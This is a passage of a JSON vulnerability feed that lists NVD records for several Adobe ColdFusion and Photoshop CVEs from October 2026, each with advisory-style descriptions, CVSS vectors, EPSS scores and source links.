fixes.","publishedAt":"2026-10-13T21:17:30.470Z","updatedAt":"2026-10-16T17:33:34.673Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106613","asOf":"2026-10-16T17:33:34.673Z"},"epss":{"probability":0.00816,"percentile":0.56821,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106613&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106613","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106613","type":"primary","publishedAt":"2026-10-13T21:17:30.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106613&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106613, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106090","cveId":"CVE-2026-106090","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:30.140Z","updatedAt":"2026-10-16T21:15:19.197Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106090","asOf":"2026-10-16T21:15:19.197Z"},"epss":{"probability":0.00143,"percentile":0.03533,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106090&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106090","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106090","type":"primary","publishedAt":"2026-10-13T21:17:30.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106090&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106090, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106089","cveId":"CVE-2026-106089","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:30.030Z","updatedAt":"2026-10-16T21:16:03.393Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106089","asOf":"2026-10-16T21:16:03.393Z"},"epss":{"probability":0.00198,"percentile":0.09461,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106089&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106089","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106089","type":"primary","publishedAt":"2026-10-13T21:17:30.030Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106089&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106089, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105994","cveId":"CVE-2026-105994","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass.","summary":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:29.923Z","updatedAt":"2026-10-16T21:16:45.417Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105994","asOf":"2026-10-16T21:16:45.417Z"},"epss":{"probability":0.00318,"percentile":0.2457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105994&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105994","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105994","type":"primary","publishedAt":"2026-10-13T21:17:29.923Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105994&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105994, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105901","cveId":"CVE-2026-105901","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:29.703Z","updatedAt":"2026-10-16T20:55:58.627Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105901","asOf":"2026-10-16T20:55:58.627Z"},"epss":{"probability":0.00187,"percentile":0.08237,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105901&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105901","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105901","type":"primary","publishedAt":"2026-10-13T21:17:29.703Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105901&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105901, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105900","cveId":"CVE-2026-105900","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Improper Input Validation vulnerability that could result in an application denial-of-service.","summary":"ColdFusion is affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.","detail":"ColdFusion is affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:29.593Z","updatedAt":"2026-10-16T20:53:03.597Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105900","asOf":"2026-10-16T20:53:03.597Z"},"epss":{"probability":0.00677,"percentile":0.52021,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105900&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105900","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105900","type":"primary","publishedAt":"2026-10-13T21:17:29.593Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105900&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105900, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105898","cveId":"CVE-2026-105898","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.","detail":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:29.353Z","updatedAt":"2026-10-20T00:12:27.203Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105898","asOf":"2026-10-20T00:12:27.203Z"},"epss":{"probability":0.00132,"percentile":0.02759,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105898&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105898","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105898","type":"primary","publishedAt":"2026-10-13T21:17:29.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105898&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105898, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105897","cveId":"CVE-2026-105897","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation.","summary":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:29.240Z","updatedAt":"2026-10-16T20:50:59.813Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105897","asOf":"2026-10-16T20:50:59.813Z"},"epss":{"probability":0.00677,"percentile":0.52001,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105897&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105897","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105897","type":"primary","publishedAt":"2026-10-13T21:17:29.240Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105897&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105897, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104348","cveId":"CVE-2026-104348","aliases":[],"kind":"vulnerability","title":"Photoshop Desktop is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Photoshop Desktop is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Photoshop Desktop is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:25.593Z","updatedAt":"2026-10-16T10:37:08.473Z","regions":["Global"],"vendor":"adobe","product":"photoshop","stacks":["Adobe","photoshop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104348","asOf":"2026-10-16T10:37:08.473Z"},"epss":{"probability":0.00187,"percentile":0.08191,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104348&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104348","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104348","type":"primary","publishedAt":"2026-10-13T21:17:25.593Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104348&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104348, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104347","cveId":"CVE-2026-104347","aliases":[],"kind":"vulnerability","title":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:25.483Z","updatedAt":"2026-10-16T10:37:03.487Z","regions":["Global"],"vendor":"adobe","product":"photoshop","stacks":["Adobe","photoshop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104347","asOf":"2026-10-16T10:37:03.487Z"},"epss":{"probability":0.00148,"percentile":0.03993,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104347&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104347","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104347","type":"primary","publishedAt":"2026-10-13T21:17:25.483Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104347&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104347, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104346","cveId":"CVE-2026-104346","aliases":[],"kind":"vulnerability","title":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:25.370Z","updatedAt":"2026-10-16T10:36:59.183Z","regions":["Global"],"vendor":"adobe","product":"photoshop","stacks":["Adobe","photoshop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104346","asOf":"2026-10-16T10:36:59.183Z"},"epss":{"probability":0.00148,"percentile":0.03995,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104346&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104346","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104346","type":"primary","publishedAt":"2026-10-13T21:17:25.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104346&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104346, scored 2026-10-25. This is a model estimate, not proof of 